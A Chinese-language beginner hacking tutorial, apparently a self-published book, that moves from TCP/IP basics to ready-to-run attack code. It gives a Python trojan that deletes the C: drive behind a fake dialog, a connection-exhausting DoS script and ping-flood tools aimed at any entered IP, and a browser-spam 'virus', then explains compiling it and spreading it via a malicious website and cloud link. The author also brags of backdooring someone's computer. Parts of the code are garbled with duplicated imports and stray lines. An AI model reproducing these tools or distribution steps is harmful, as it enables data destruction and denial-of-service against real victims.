引子
Hacker（黑客），往往被人們理解爲只會用非法手段來破壞網絡安全的計算機高手。但是，黑客其實不是這樣的，真正的“網絡破壞者”是和黑客名稱和讀音相似的駭客。
駭客，是用黑客手段進行非法操作併爲己取得利益的人。黑客，是用黑客手段爲國家或單位做事的人。
那麼，既然黑客不是一個很壞的職業，我們就可以去試着學習。
黑客本身的初衷
——黑客其實一直是善良的。 駭客其實他的前身就是黑客。
駭客與黑客分家，有這麼一個故事：
原本，只有黑客一族。而不久後，有些黑客想用黑客手段來獲取利益，不斷被其他的黑客反對。於是，那些黑客悄悄私下成立了一個新的族羣——駭客族。
駭客族產生後，一直處於保密狀態，所以，沒有人知道這個族。
直到有一天——
駭客族出現了一次大騷動：
不斷的進行網絡欺騙、流量攻擊，盜取了很多人的賬號，還修改了一些大型的搜索網站。
於是，從這天開始，黑駭（黑客和駭客）分家了。
黑客的初衷本是一些測試程序漏洞的計算機高手，他們還幫國家和單位做事。但是，人心總是貪婪，造成了駭客的誕生。
從此以後，防病毒產品誕生了。
基礎篇
什麼是病毒
病毒，指的是一些通過非法手段獲取系統的一些權限，然後進行破壞或者盜取。
病毒分爲兩類：
1、破壞型
這類病毒往往會將系統弄的亂七八糟，比如把你的U盤刪光，把你的系統背景調成黑客圖片，把你的桌面全部變成某個圖標…
這些病毒一般比較明顯，所以，殺毒軟件一般比較容易查殺，但是，下面這種就不一樣了。
2、非破壞型
非破壞型病毒不會把你的系統怎麼樣，也不會刪除你的文件和修改你的個性化操作，他們只有一個目的：盜取文件或讓它們的主人進入你的計算機。例如最典型的灰鴿子，就是讓黑客進行連接，然後控制你的電腦。冰河也是一樣。還有一種ftp木馬，它們的目的就是打開21端口，等待黑客連接。
安裝編程環境：Python3.7 IDE
在編寫程序進行黑客攻擊和病毒編寫之前，我們得先安裝我們的編程環境：Python3.7 IDE
從網絡上下載：Python3.7 IDE
接着，雙擊它，按照安裝嚮導完成安裝。
啓動
在Windows搜索欄中搜索：Python
會顯示出：
打開它！
打造攻擊目標：VMware虛擬機
我們現在還沒有一個攻擊目標，因爲我們現在不能攻擊別人的電腦，否則，你就是駭客了。
那麼，我們只有安裝VMware虛擬機了。
安裝VMware Workstation player
（注：此處不細說，因爲版本不一，安裝不一樣）
打開！
然後，請下載Windows 7 原生純淨鏡像，可以百度“我告訴你”，點擊第二個，下載Windows7。
新建虛擬機
點擊“創建新虛擬機”
點擊“下一步”
這裏需要輸入Windows7的密鑰，按圖中輸入。
下一步：
下一步：
我們已經完成了VMware Workstation 虛擬機的配置，現在我們啓動它：
在這段時間內，計算機（虛擬機）會重啓數次，最終完成安裝。
安裝成功後即可開始使用Windows 7 ，並且可以向它發起猛烈的攻擊了。
Windows7是微軟（Microsoft）的傑出產品之一，但可惜的是它還是被更優秀的Windows10取代。在2015年，微軟（Microsoft）正式宣佈不再支持Windows7，也就意味着，不會再有新的更新給使用Windows7的用戶了。
啓動成功！我們可以在這臺Windows上工作，並且也可以攻擊它了！
編寫經典程序——Hello，World！
打開Python，點擊File，New。
在彈出的窗口中輸入：
print('Hello, World!')
點擊Run，最後一個選項，查看結果。
顯示：
Hello, World!
這表示IDE程序可用，也表示，你已經成爲一名程序員了！
測試網絡的PING
PING程序是Microsoft（微軟公司）爲Windows用戶準備的網絡檢測程序，使用他，可以幫你查看網絡狀態和網絡是否可訪問。
鍵擊“windows鍵+R”，打開運行窗口，輸入cmd，回車，即可打開終端窗口。在這裏，你可以做很多一般人做不到的事情。
在終端裏輸入ping/?,查看詳細用法。
常用指令：
PING -t ip
注：這樣可以PING指定的IP到永遠，除非你停止它。很多初級黑客喜歡用這個參數來進行網絡堵塞的攻擊。
PING -l 大小 ip
注：這樣可以設置發送包大小
PING -n 次數 ip
注：這樣可以設置次數。
試試對baidu.com進行PING指令
打開終端，輸入PING -n 10 -l 10 baidu.com
(此命令必須在Windows 8以上纔可以運行，Windows 7部分版本不支持PING網頁)
我們檢測到我們可以連接到baidu.com，說明我們的網絡是可用的。
TCP\IP協議
TCP/IP傳輸協議，即傳輸控制/網絡協議，也叫作網絡通訊協議。它是在網絡的使用中的最基本的通信協議。TCP/IP傳輸協議對互聯網中各部分進行通信的標準和方法進行了規定。並且，TCP/IP傳輸協議是保證網絡數據信息及時、完整傳輸的兩個重要的協議。TCP/IP傳輸協議是嚴格來說是一個四層的體系結構，應用層、傳輸層、網絡層和數據鏈路層都包含其中。
TCP/IP協議是Internet最基本的協議,其中應用層的主要協議有Telnet、FTP、SMTP等，是用來接收來自傳輸層的數據或者按不同應用要求與方式將數據傳輸至傳輸層；傳輸層的主要協議有UDP、TCP，是使用者使用平臺和計算機信息網內部數據結合的通道，可以實現數據傳輸與數據共享；網絡層的主要協議有ICMP、IP、IGMP，主要負責網絡中數據包的傳送等；而網絡訪問層，也叫網路接口層或數據鏈路層，主要協議有ARP、RARP，主要功能是提供鏈路管理錯誤檢測、對不同通信媒介有關信息細節問題進行有效處理等。
TCP/IP協議能夠迅速發展起來併成爲事實上的標準，是它恰好適應了世界範圍內數據通信的需要。它有以下特點：
（1）協議標準是完全開放的，可以供用戶免費使用，並且獨立於特定的計算機硬件與操作系統。
（2）獨立於網絡硬件系統，可以運行在廣域網，更適合於互聯網。
（3）網絡地址統一分配，網絡中每一設備和終端都具有一個唯一地址。
（4）高層協議標準化，可以提供多種多樣可靠網絡服務。
TCP/IP協議的層次
網絡層
IP協議
網絡層引入了IP協議，制定了一套新地址，使得我們能夠區分兩臺主機是否同屬一個網絡，這套地址就是網絡地址，也就是所謂的IP地址。IP協議將這個32位的地址分爲兩部分，前面部分代表網絡地址，後面部分表示該主機在局域網中的地址。如果兩個IP地址在同一個子網內，則網絡地址一定相同。爲了判斷IP地址中的網絡地址，IP協議還引入了子網掩碼，IP地址和子網掩碼通過按位與運算後就可以得到網絡地址。
ARP協議
即地址解析協議，是根據IP地址獲取MAC地址的一個網絡層協議。其工作原理如下：ARP首先會發起一個請求數據包，數據包的首部包含了目標主機的IP地址，然後這個數據包會在鏈路層進行再次包裝，生成以太網數據包，最終由以太網廣播給子網內的所有主機，每一臺主機都會接收到這個數據包，並取出標頭裏的IP地址，然後和自己的IP地址進行比較，如果相同就返回自己的MAC地址，如果不同就丟棄該數據包。ARP接收返回消息，以此確定目標機的MAC地址；與此同時，ARP還會將返回的MAC地址與對應的IP地址存入本機ARP緩存中並保留一定時間，下次請求時直接查詢ARP緩存以節約資源。
路由協議
首先通過IP協議來判斷兩臺主機是否在同一個子網中，如果在同一個子網，就通過ARP協議查詢對應的MAC地址，然後以廣播的形式向該子網內的主機發送數據包；如果不在同一個子網，以太網會將該數據包轉發給本子網的網關進行路由。網關是互聯網上子網與子網之間的橋樑，所以網關會進行多次轉發，最終將該數據包轉發到目標IP所在的子網中，然後再通過ARP獲取目標機MAC，最終也是通過廣播形式將數據包發送給接收方。而完成這個路由協議的物理設備就是路由器，路由器扮演着交通樞紐的角色，它會根據信道情況，選擇並設定路由，以最佳路徑來轉發數據包。
所以，網絡層的主要工作是定義網絡地址、區分網段、子網內MAC尋址、對於不同子網的數據包進行路由。
傳輸層
鏈路層定義了主機的身份，即MAC地址，而網絡層定義了IP地址，明確了主機所在的網段，有了這兩個地址，數據包就從可以從一個主機發送到另一臺主機。但實際上數據包是從一個主機的某個應用程序發出，然後由對方主機的應用程序接收。而每臺電腦都有可能同時運行着很多個應用程序，所以當數據包被髮送到主機上以後，是無法確定哪個應用程序要接收這個包。因此傳輸層引入了UDP協議來解決這個問題，爲了給每個應用程序標識身份。
UDP協議
UDP協議定義了端口，同一個主機上的每個應用程序都需要指定唯一的端口號，並且規定網絡中傳輸的數據包必須加上端口信息，當數據包到達主機以後，就可以根據端口號找到對應的應用程序了。UDP協議比較簡單，實現容易，但它沒有確認機制，數據包一旦發出，無法知道對方是否收到，因此可靠性較差，爲了解決這個問題，提高網絡可靠性，TCP協議就誕生了。
TCP協議
TCP即傳輸控制協議，是一種面向連接的、可靠的、基於字節流的通信協議。簡單來說TCP就是有確認機制的UDP協議，每發出一個數據包都要求確認，如果有一個數據包丟失，就收不到確認，發送方就必須重發這個數據包。爲了保證傳輸的可靠性，TCP協議在UDP基礎之上建立了三次對話的確認機制，即在正式收發數據前，必須和對方建立可靠的連接。TCP數據包和UDP一樣，都是由首部和數據兩部分組成，唯一不同的是，TCP數據包沒有長度限制，理論上可以無限長，但是爲了保證網絡的效率，通常TCP數據包的長度不會超過IP數據包的長度，以確保單個TCP數據包不必再分割。
傳輸層的主要工作是定義端口，標識應用程序身份，實現端口到端口的通信，TCP協議可以保證數據傳輸的可靠性。
應用層
理論上講，有了以上三層協議的支持，數據已經可以從一個主機上的應用程序傳輸到另一臺主機的應用程序了，但此時傳過來的數據是字節流，不能很好的被程序識別，操作性差，因此，應用層定義了各種各樣的協議來規範數據格式，常見的有http,ftp,smtp等，在請求Header中，分別定義了請求數據格式Accept和響應數據格式Content-Type，有了這個規範以後，當對方接收到請求以後就知道該用什麼格式來解析，然後對請求進行處理，最後按照請求方要求的格式將數據返回，請求端接收到響應後，就按照規定的格式進行解讀。
所以應用層的主要工作就是定義數據格式並按照對應的格式解讀數據。
黑客入門的操作命令
1、“肉雞”
“肉雞”有點類似牽線木偶，是指可以被黑客神不知鬼不覺地遠程控制的電腦或者大型服務器。不論什麼系統都有可能淪爲“肉雞”。
2、“木馬”
“木馬”是一種在運行後可以得到系統的控制權的程序。拿網頁木馬舉例，主要是利用瀏覽器的漏洞把網頁木馬搞到瀏覽器訪問者本地上，然後自動執行的。
3、“後門”
黑客在通過某種手段成功控制目標主機之後，搞到系統的訪問權限。訪問系統後通過系統漏洞得到root權限，再安裝rootkit，就可以較長時間地控制該目標主機。
4、“弱口令”
弱口令的安全強度不高，易於被猜到破解的密碼，比如123456、654321。
5、“溢出”
“溢出”一般指的是緩衝區溢出。說白了，就是程序沒有進行有效地監測，導致輸入的數據沒執行。這樣的程序和沒有執行的數據越來越多，最後程序會解體，也有可能錯誤地執行黑客的命令。
6、“花指令”
“花指令”是用彙編語言寫成的，導致殺毒軟件無法對病毒進行合理地判斷。因爲殺毒軟件有順序規則，就是從頭到尾來查殺病毒。而一旦病毒的頭尾順序不對，殺毒軟件就歇菜了。
7、“免殺”
“免殺”，顧名思義，就是免去殺毒軟件的查殺。使用一些技術把程序進行修改，這些技術主要有加殼、加密、加花指令等。
8、“加殼”
“加殼”的目的主要有壓縮文件、將程序編碼加密、免殺等，主要通過一些不一般的算法改變可執行程序或者DLL動態鏈接庫文件的編碼。
9、“Shell”
“Shell”是一種程序或者命令的執行環境。比如，一般用遠程溢出程序後，可以成功控制遠程電腦，在該電腦執行系統命令的環境就是“Shell”。
Python編寫基本程序
Python是一個強大的語言，它十分簡潔，但是十分有用。
在此書編寫時，Python3.7.3已經算較新的版本了，所以如果想和本書同步，請安裝Python3.7.3
編程，就是指用一段計算機能聽懂的話讓計算機去幫你做事情，這就叫編程。
我們已經學會了“Hello,World!”的編寫，現在，我們來編寫一個簡單的登錄系統，我們在後期，會將它改裝成一個盜取密碼的病毒。
登錄.py
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
window=tk.Tk()
window.title('歡迎使用Windows高級功能！')
window.geometry('450x300')
#畫布放置圖片
canvas=tk.Canvas(window,height=300,width=500)
imagefile=tk.PhotoImage(file='Hello.png')
image=canvas.create_image(0,0,anchor='nw',image=imagefile)
canvas.pack(side='top')
#標籤 用戶名密碼
tk.Label(window,text='用戶名:').place(x=100,y=150)
tk.Label(window,text='密碼:').place(x=100,y=190)
#用戶名輸入框
var_usr_name=tk.StringVar()
entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
entry_usr_name.place(x=160,y=150)
#密碼輸入框
var_usr_pwd=tk.StringVar()
entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
entry_usr_pwd.place(x=160,y=190)
#登錄函數
def usr_log_in():
#輸入框獲取用戶名密碼
usr_name=var_usr_name.get()
usr_pwd=var_usr_pwd.get()
#從本地字典獲取用戶信息，如果沒有則新建本地數據庫
try:
with open('usr_info.pickle','rb') as usr_file:
usrs_info=pickle.load(usr_file)
except FileNotFoundError:
with open('usr_info.pickle','wb') as usr_file:
usrs_info={'admin':'admin'}
pickle.dump(usrs_info,usr_file)
#判斷用戶名和密碼是否匹配
if usr_name in usrs_info:
if usr_pwd == usrs_info[usr_name]:
tk.messagebox.showinfo(title='welcome',
message='歡迎您：'+usr_name)
else:
tk.messagebox.showerror(message='密碼錯誤')
#用戶名密碼不能爲空
elif usr_name=='' or usr_pwd=='' :
tk.messagebox.showerror(message='用戶名或密碼爲空')
#不在數據庫中彈出是否註冊的框
else:
is_signup=tk.messagebox.askyesno('歡迎','您還沒有註冊，是否現在註冊')
if is_signup:
usr_sign_up()
#註冊函數
def usr_sign_up():
#確認註冊時的相應函數
def signtowcg():
#獲取輸入框內的內容
nn=new_name.get()
np=new_pwd.get()
npf=new_pwd_confirm.get()
#本地加載已有用戶信息,如果沒有則已有用戶信息爲空
try:
with open('usr_info.pickle','rb') as usr_file:
exist_usr_info=pickle.load(usr_file)
except FileNotFoundError:
exist_usr_info={}
#檢查用戶名存在、密碼爲空、密碼前後不一致
if nn in exist_usr_info:
tk.messagebox.showerror('錯誤','用戶名已存在')
elif np =='' or nn=='':
tk.messagebox.showerror('錯誤','用戶名或密碼爲空')
elif np !=npf:
tk.messagebox.showerror('錯誤','密碼前後不一致')
#註冊信息沒有問題則將用戶名密碼寫入數據庫
else:
exist_usr_info[nn]=np
with open('usr_info.pickle','wb') as usr_file:
pickle.dump(exist_usr_info,usr_file)
tk.messagebox.showinfo('歡迎','註冊成功')
#註冊成功關閉註冊框
window_sign_up.destroy()
#新建註冊界面
window_sign_up=tk.Toplevel(window)
window_sign_up.geometry('350x200')
window_sign_up.title('註冊')
#用戶名變量及標籤、輸入框
new_name=tk.StringVar()
tk.Label(window_sign_up,text='用戶名：').place(x=10,y=10)
tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
#密碼變量及標籤、輸入框
new_pwd=tk.StringVar()
tk.Label(window_sign_up,text='請輸入密碼：').place(x=10,y=50)
tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)
#重複密碼變量及標籤、輸入框
new_pwd_confirm=tk.StringVar()
tk.Label(window_sign_up,text='請再次輸入密碼：').place(x=10,y=90)
tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)
#確認註冊按鈕及位置
bt_confirm_sign_up=tk.Button(window_sign_up,text='確認註冊',
command=signtowcg)
bt_confirm_sign_up.place(x=150,y=130)
#退出的函數
def usr_sign_quit():
try :
window.destroy()
except :
pass
#登錄 註冊按鈕
bt_login=tk.Button(window,text='登錄',command=usr_log_in)
bt_login.place(x=140,y=230)
bt_logup=tk.Button(window,text='註冊',command=usr_sign_up)
bt_logup.place(x=210,y=230)
bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
bt_logquit.place(x=280,y=230)
#主循環
window.mainloop()
# -*-coding:utf-8-*
import socket
import threading
import Queue
import time
except :
pass
這段代碼會讓用戶輸入用戶名和密碼，並且進行登錄。
木馬程序的編寫
在本章，我們將正式開始木馬的編寫。
用Python寫木馬，其實很簡單。
下面是我例舉的一個破壞型木馬的代碼：
Delete.py
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
ret = subprocess.call("del C:\ ", shell=True)
window=tk.Tk()
window.withdraw()
window.mainloop()
他其實很簡單，但是，卻又讓一些很基礎的用戶受騙。
很多人在電腦彈出窗口提示時都喜歡點擊“是”“確認”“好”，但是，可能就因爲這樣，你的C:\被刪除了。這意味着，你失去了系統盤！
破壞型木馬很好編寫，我們在前期都在編寫破壞型木馬和病毒，所以都比較簡單。
Python之外，課外擴展
GoC繪圖語言
這種語言主要功能是繪圖，是編程新人的不二選擇——因爲它的代碼太簡單了！
打開GoC
輸入以下代碼：
int main()
{
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
p.fd(100);
p.rt(90);
return 0;
}
運行：
C++/C
這些語言想必大家都比較清楚，在這裏就不多介紹。
如果對這些語言有興趣，可以去學習。
在Dev-C++（初學者編程環境）中創建新文件，輸入以下代碼：
#include<iostream>
using namespace std;
int main()
{
cout<<"Hello,World!"<<endl;
return 0;
}
運行後，顯示：
Hello，World！
初級篇
在這一篇，你將成爲一名黑客……
Python編寫DDoS攻擊程序
分佈式拒絕服務攻擊(英文意思是Distributed Denial of Service，簡稱DDoS)是指處於不同位置的多個攻擊者同時向一個或數個目標發動攻擊，或者一個攻擊者控制了位於不同位置的多臺機器並利用這些機器對受害者同時實施攻擊。由於攻擊的發出點是分佈在不同地方的，這類攻擊稱爲分佈式拒絕服務攻擊，其中的攻擊者可以有多個。
那麼，我們用代碼來執行DDoS攻擊，你可以邀請你的朋友一起來學習和使用。
下面，你可以把代碼複製到你的Python上，然後運行，試試效果。
DDoS.py
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在雙引號裏輸入對方IP或域名，要保證他聯網了或開機了.
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
在指定位置輸入你要攻擊的IP或網址，運行，就可以進行攻擊了。
運用PING程序進行網絡堵塞攻擊
前面說過，PING程序可能會使網絡堵塞，所以，我們根據這個原理編寫了一個攻擊程序。
網絡堵塞.py
import os
import socket
import time
ip = input("請輸入IP：")
os.system("ping -t -l 50 " + ip)
運行程序，輸入IP，就可以等待指定主機網絡堵塞了。
連接對方的計算機
我們可以使用“telnet”命令來進行遠程終端的連接。
打開終端窗口，輸入telnet/?，查看用法：
輸入 telnet HOST POST,可以進行連接，這裏以baidu.com爲例：
這裏已經成功連接，正在加載。
運用它可以連接遠程主機，實現遠程操控。
運用ftp來進行文件傳輸
ftp是一種協議，也是一種指令，用它，可以進行文件傳輸。
打開終端，輸入：
可以根據這些指令進行文件的傳輸。
有一些殺毒軟件（例如：金山毒霸、趨勢科技）會進行阻止，因爲它們都會自我防護，防止未知木馬下載到計算機上。
copy
運行copy程序，可以讓它幫你複製文件，你可以在病毒中添加這個程序，讓無知的計算機幫你複製病毒程序。
打開終端窗口，輸入copy/?：
根據help，我們來編寫一個可以複製某個程序的病毒：
import sys
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
os.system("copy 路徑 路徑 ")
這是一個簡單的程序，但在後期，卻非常有用！
運用socket模塊
在上個小節，有個DDoS攻擊程序，這個程序裏調用了一個模塊：socket
這個模塊是個很棒的插件，它可以幫你進行連接，就像一個可以幫你插電線的電工。
調用socket模塊
#調用socket
import socket
print("Hello,socket!")
DDoS原理
就像接東西，張三接，李四扔。李四不停扔蘋果給張三，張三不斷接蘋果，接着接着，手上滿了！那麼，只有把蘋果掉在地上了。
就是這個原理，我不斷進行連接，對方不斷處理連接，慢慢的慢慢的，對方的系統主機繁忙到堵塞，一大堆的請求沒有處理，堆在網絡連接處，系統還在不斷處理，等處理到一定時候，系統的運算已經達到了超負荷，就會崩潰。這就是DDoS的原理。
Hacker(黑客)軟件（篇）
黑客軟件是一些黑客高手做的軟件，這些軟件可以簡化攻擊成本和難度，是很多黑客的不二之選。
但是今天，我們不來下別人的黑客軟件，咱們來做自己的黑客軟件！
黑客軟件製作
1、網絡堵塞工具 V1.0
首先，我們要設計我們的LOGO：
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃網絡堵塞工具 V1.0||||||||||||||||||||||||||| ┃
┃|||||網絡堵塞工具，選這款！|||||||||||| ┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[]|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
接着，開始想它的呈現方式：
1、終端形式
2、窗口形式
這裏，我們來做終端形式。
輸入代碼：
import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def input_cd():
cd = input("請輸入指令>>")
if cd == "1":
ping()
if cd == "2":
print('此功能暫不可用')
input_cd()
def ping():
host = input("請輸入對方IP:")
qiangdu = input("請輸入強度(1-65500):")
os.system("ping -t -l " + qiangdu + " " + host)
logo = """
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃網絡堵塞工具 V1.0||||||||||┃
┃|||||網絡堵塞工具，選這款！|┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[]|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
"""
print(logo)
print('[][使用指南][]')
print('1、ping \n2、ddos(正在編寫)')
input_cd()
此程序可完成一個簡易的攻擊工具，你可以對它進行修改，讓別的用戶使用它。
2、DDoS攻擊工具
輸入代碼：
import socket
import time
import threading
#Pressure Test,ddos tool
print('歡迎使用DDoS攻擊工具!')
#---------------------------
MAX_CONN=20000
PORT=80
HOST=input("請輸入網址或IP:")
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
它將成爲一件出色的軟件，你也可以對它進行修改，我貢獻在書上的代碼，沒有版權。
學習並使用別人的黑客軟件
當然，黑客高手們做的軟件自然比我們好的多。那麼，我們該如何去下載那些軟件呢？
首先，在下載黑客軟件時，要注意防病毒。因爲很可能這個軟件是被捆綁了病毒的惡意程序！
下面，爲大家展示幾款軟件的安裝：
1、SQL tools
訪問https://sourceforge.net/projects/sqlt/postdownload進行下載：
同意協議：
選擇路徑：
下一步：
開始安裝：
點擊Close，結束安裝
（注：在安裝之前，請務必安裝Java，這是程序的必備用品。最低版本必須要Java 8）
在這裏，你可以進行高級的攻擊。但是，在這裏就暫時不介紹了。
2、ComputerKiller
訪問：hackersdld.icoc.vc
這裏有很多黑客軟件，在後期，會很有用。
點擊ComputerKiller 1.9.3，進行下載。
下載完成後打開壓縮包，雙擊exe程序即可。
運用代碼和一些工具來查看對方是否可被攻擊
例如：我要入侵一臺計算機，已知參數：
MAC：00:50:56:38:6F:C3
IP：192.168.132.132
用戶名：Administrator
先打開終端窗口，輸入PING 192.168.132.132,查看對方狀態。
這樣，說明對方是可以上網、並且是可用的。
再發現，TTL值爲128，如不更改，128TTL應爲Windows 7 系統。我們就又獲得了一項線索：
OS：Windows 7
接着，我們用DDoS攻擊器攻擊對方：
對方沒有反應！說明，對方的網絡不是可以正常使用的，但是，它有一個IP地址與MAC地址！
那我們只有通過別的辦法對它進行攻擊和入侵了。
打開終端，輸入telnet 192.168.132.132 23
發現，也是無法連接！！！
我們再進行測試，如果還是無法進行連接，說明，對方處於NAT網絡模式！（注：NAT網絡模式就是指只有IP，但不能上網和被連接）
打開遠程桌面連接，輸入IP連接後發現：
說明對方處於確確實實的NAT狀態！這臺計算機就不可以被攻擊，因爲它沒有和intelnet進行連接！相當於沒有一個可以聽聲音的耳朵！
黑客軟件使用的要點
黑客軟件雖然好用，但是，不好下載。
在網上，有很多軟件都帶有病毒，我下載的一些黑客軟件就有，病毒名稱：
BKDR_AGENT.AHZU 後門
TROJ_GEN.R002C0PKF19木馬
TROJ_GEN.R03FC0PGN19木馬
所以，在網上一定要小心這些捆綁了病毒的軟件，可能你就會有一天被黑客劫持！
推薦大家到這幾個站點去下載黑客軟件：
hackersdld.icoc.vc(黑客軟件下載)
www.netxeyes.com(小榕主頁)
以上就是本章的內容，在下一章，我們將進行更深入的攻擊學習，代碼攻擊將成爲重點。
本章課外
最近，小編髮現個很搞笑的計算機。這個計算機已被我裝上後門，冰河也裝上了。我看它桌面的時候，它的桌面是這樣的：
滿桌面都是罵人的話…
我給它留下一個txt：
接着呢，我又給它重裝了個系統，爽啊！
（本段告訴我們：黑客技術不一定是惡意技術！）
中級篇
print("Hello,Users!")
name = input("What's your name?")
print("Oh,Nice to meet you," + name + "!")
這樣的簡單到不能再簡單的程序，大家想必已經可以看懂了。那麼這一篇，我們就來深度學習代碼編程，通過編程的學習，來進行後期木馬和病毒的編寫。
不知道大家有沒有聽說過有一種程序，通過不斷打開網頁進行加載來導致計算機卡頓。這也是一種病毒。
我們本章也來教大家編寫這一類的病毒，並且教大家如何進行傳播。
本章我們還會瞭解到凡科建站，這是一個很厲害的建站程序。可以讓你不用碼代碼就進行網站搭建。我們通過這個功能來建造我們自己的主頁，然後像黑客小榕那樣發佈我們的黑客軟件。當然，我們也可以做一些惡意網站，這樣就可以得到很好的效果。
凡科建站
百度搜索：凡科建站，註冊一個賬號，接着，我們來建造我們的主頁。
這裏我已經開過站點了，如果大家不會創建，可以百度搜索。
進入後，可以按照新手指南來創作自己的主頁。
我的主頁如下：
用網頁來傳播病毒
我們可以在建造的網站上讓用戶下載病毒，這樣可以得到很有效的效果。我編寫的病毒如下：
import webbrowser
import tkinter.messagebox
while 1:
webbrowser.open("baidu.com")
tk.messagebox.showerror('Windows錯誤','Windows被不明程序劫持，正在嘗試自救......')
代碼效果：
此處還沒截圖到messagebox就死機了，因爲刷的太厲害了。
我們可以把這個病毒打包後傳播到網上，雖然只是一個很簡單的小程序。
我用百度網盤創建了一個分享鏈接，用凡科建站做了一個網頁，可以下載這個病毒。
但是，我們還沒有給它編譯爲exe程序，所以，我們要下載pyinstaller，進行編譯。
自己作一幅畫，接着將它轉換爲ico格式，當做應用圖標。
在命令行（終端）輸入：
pyintaller -F -w -i 圖片路徑 文件路徑
打包完後，會在dist目錄下出現exe程序，並且build裏會有配置文件。
創建一個新的文件夾，將配置文件和exe程序放入，然後打包爲zip/rar/7z壓縮文件，上傳到百度網盤，鏈接爲：https://pan.baidu.com/s/1t2c_fZiijR-QpXs7jANj0Q，接着進入凡科建站，做一個惡意網站：
這個惡意網站可以讓別人下載這個惡意病毒，是傳播的途徑。
對網站進行攻擊
網站攻擊一般都是SQL數據庫注入、DNS欺騙、DDoS攻擊等。SQL注入和DNS欺騙對我們來說暫時太難，我們先從DDoS啓。
在前面，我們已經說明了和介紹了DDoS攻擊的原理和代碼，在本節，我們將對這個腳本進行改造，讓它變成一個強大的黑客軟件——DDoS:ME
回顧
先回顧一下之前的腳本代碼，我們是用了socket模塊進行不斷髮送連接請求來實現的。其中，較關鍵的關鍵字有：
while 1:
import socket
Host = ""
......
這些都是腳本的重點，如果丟掉While，那你的腳本只會執行一次。如果丟掉import，那麼將會出錯。如果丟掉Host，那麼，你的腳本將沒有目標…
回顧一下之前的代碼，試着嘗試解決以下問題和建議：
1、如何讓攻擊強度變大？
2、可以將socket模塊換成其他嗎？
組織一場龐大的DDoS攻擊
真正的高級攻擊都不是一個人完成的。都是在肉雞（傀儡機）和隊友的幫助下完成的。你不妨組織一個黑客聯盟，一起來進行黑客技術的研究。
本節，我們就來教大家組織一場龐大的DDoS攻擊，並且教大家如何進行攻擊。
組織
組織，一個包含了深意的名詞。有了組織，我們就可以更加強大。
本小節，我們就來進行組織。
1、創建組織
